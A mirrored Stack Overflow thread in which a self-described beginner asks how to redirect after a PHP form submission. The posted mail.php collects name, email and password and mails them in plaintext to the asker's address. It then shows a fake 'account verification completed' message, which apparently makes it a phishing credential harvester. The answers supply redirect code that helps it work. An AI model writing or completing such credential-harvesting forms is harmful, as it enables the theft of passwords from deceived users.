【问题标题】:I would like to make it redirect after submiting [duplicate]我想让它在提交后重定向[重复]
【发布时间】:2016-05-27 16:07:01
【问题描述】:

我是新手,我正在尝试学习如何编码。提交登录并通过并按登录后,我想重定向到我网站上的另一个页面(index.php)。

这是mail.php 代码

<?php
$name = $_POST['name'];
$email = $_POST['email'];
$password = $_POST['password'];
$formcontent=" From: $name \n $password \n email: $email \n ";
$recipient = "myemail@gmail.com";
$subject = "Contact Form";
$mailheader = "From: $email \r\n";
mail($recipient, $subject, $formcontent, $mailheader, $password) or die("Error!");

if(isset($_POST['mail'])){
// Fetching variables of the form which travels in URL
$name = $_POST['name'];
$email = $_POST['email'];
$password = $_POST['password'];
if($name !=''&& $email !=''&& $password !='')
{
//  To redirect form on a particular page
header("Location:http://www.mywebsite.com");
}
else{
?><span><?php echo "Thank You! Your account verification was completed successfully";?></span> <?php
}
}
?>

【问题讨论】:

  • 嗨,您能否对用例更具体一点,因为使用 header() 应该可以完成重定向工作。谢谢
  • 那么如果我只是被重定向,你怎么会认出我实际上是“登录”了?
  • 请将您的代码减少到必要的最小值。例如。我看不出 CSS 和重定向之间有任何关系。 CSS 可以省略。
  • 这与 HTML、CSS 或 FONTS 无关。

标签: php


【解决方案1】:

我将使用以下代码重定向到 PHP 中的不同页面:

header( "refresh:3;url=index.php" );

“3”将延迟将用户发送到另一个页面。这可以设置为您喜欢的任何内容,或者您​​可以完全删除它以进行即时重定向。

注意:我还建议将您的登录信息存储在会话中:

https://stackoverflow.com/a/10097986/5845530

或:

http://php.net/manual/en/function.session-start.php

【讨论】:

    【解决方案2】:

    您可以使用 JAVASCRIPT 通过将 javascript 代码打印为文本来实现:

    echo '<script type="text/javascript">
             window.location = "http://www.example.com/"
         </script>';
    

    【讨论】:

    • 它不会让我添加这个,它说这是字符串中的代码错误:(
    • 最后我设法使用了这个java文本,一切都很完美。感谢您的反馈
    【解决方案3】:

    你可以使用php session或者cookie,你知道吗?

    【讨论】:

    • 我不知道如何使用它们,但我正在阅读手册。感谢您的反馈。
    猜你喜欢
    • 2014-11-27
    • 1970-01-01
    • 1970-01-01
    • 1970-01-01
    • 1970-01-01
    • 1970-01-01
    • 2019-04-09
    • 1970-01-01
    • 2013-04-13
    相关资源
    最近更新 更多